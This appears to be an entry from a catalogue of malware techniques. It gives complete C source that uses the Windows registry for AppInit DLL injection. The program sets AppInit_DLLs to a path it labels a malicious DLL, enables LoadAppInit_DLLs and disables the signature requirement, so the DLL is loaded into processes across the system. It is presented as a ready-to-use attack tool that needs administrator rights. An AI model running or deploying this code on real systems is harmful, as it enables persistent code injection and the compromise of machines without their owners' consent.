Windows C / AppInit DLL Injection

Author Issac Briones (1d8)
Platform Windows
Language C
Technique AppInit DLL Injection

Description:

Requires Administrator privileges

Targeted DLL: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

The following keys must be set to the respective values: - AppInitDLLs - Set this to the full path of the malicious DLL (C:\Users\Administrator\Desktop\inject.dll) - LoadAppInit_DLLs - 1 - RequireSignedAppInit_Dlls - 0

Then any process that uses WinAPI within Windows will trigger execution of our malicious DLL

Code

#include <windows.h>
#include <stdio.h>

char maliciousDLLPath[] = {"C:\\Users\\Administrator\\Desktop\\inject.dll"}; //Change this to malicious DLL
char appInitDllsPath[] = {"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"};
char appInitDllsSubkey[] = {"AppInit_DLLs"};
char appInitDllsLoadPath[] = {"LoadAppInit_DLLs"};
char appInitDllsRequireSignedPath[] = {"RequireSignedAppInit_DLLs"};
DWORD signedValue = 0x0;
DWORD loadValue = 0x1;

int main() {
    HKEY hKey;
    LSTATUS openResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, appInitDllsPath, 0, KEY_ALL_ACCESS, &hKey);
    if (openResult != ERROR_SUCCESS) {
        // Error encountered opening registry key
        if (openResult == ERROR_FILE_NOT_FOUND) {
            printf("Key not found!\n");
            return 0;
        } else {
            printf("Error opening key!\n");
            return 0;
        }
    } else {
        // Successfully opened registry key
        printf("Opened key!\n");
        LSTATUS setAppInitDllsSubkeyResult = RegSetValueEx(hKey, appInitDllsSubkey, 0, REG_SZ, maliciousDLLPath, sizeof(maliciousDLLPath));
        if (setAppInitDllsSubkeyResult != ERROR_SUCCESS) {
            printf("Error encountered when setting AppInit_DLLs path\n");
            return 0;
        } else {
            printf("Successfully set path to malicious DLL for AppInit_DLLs path\n");
        }
        // REG_DWORD 
        // Data will be HexValue
        LSTATUS setAppInitDllsLoadPathResult = RegSetValueEx(hKey, appInitDllsLoadPath, 0, REG_DWORD, (BYTE*)&loadValue, sizeof(0x1));
        if (setAppInitDllsLoadPathResult != ERROR_SUCCESS) {
            printf("Error encountered when setting the DLLs load path to 1\n");
            return 0;
        } else {
            printf("Successfully set DLLs load path to 1\n");
        }

        LSTATUS setSignedPathResult = RegSetValueEx(hKey, appInitDllsRequireSignedPath, 0, REG_DWORD, (BYTE*)&signedValue, sizeof(0x0));
        if (setSignedPathResult != ERROR_SUCCESS) {
            printf("Error encountered when setting the signed DLLs path\n");
            return 0;
        } else {
            printf("Successfully set signed DLLs path to 0\n");
        }

        RegCloseKey(hKey);
    }

}

Created

August 17, 2024

Last Revised

August 17, 2024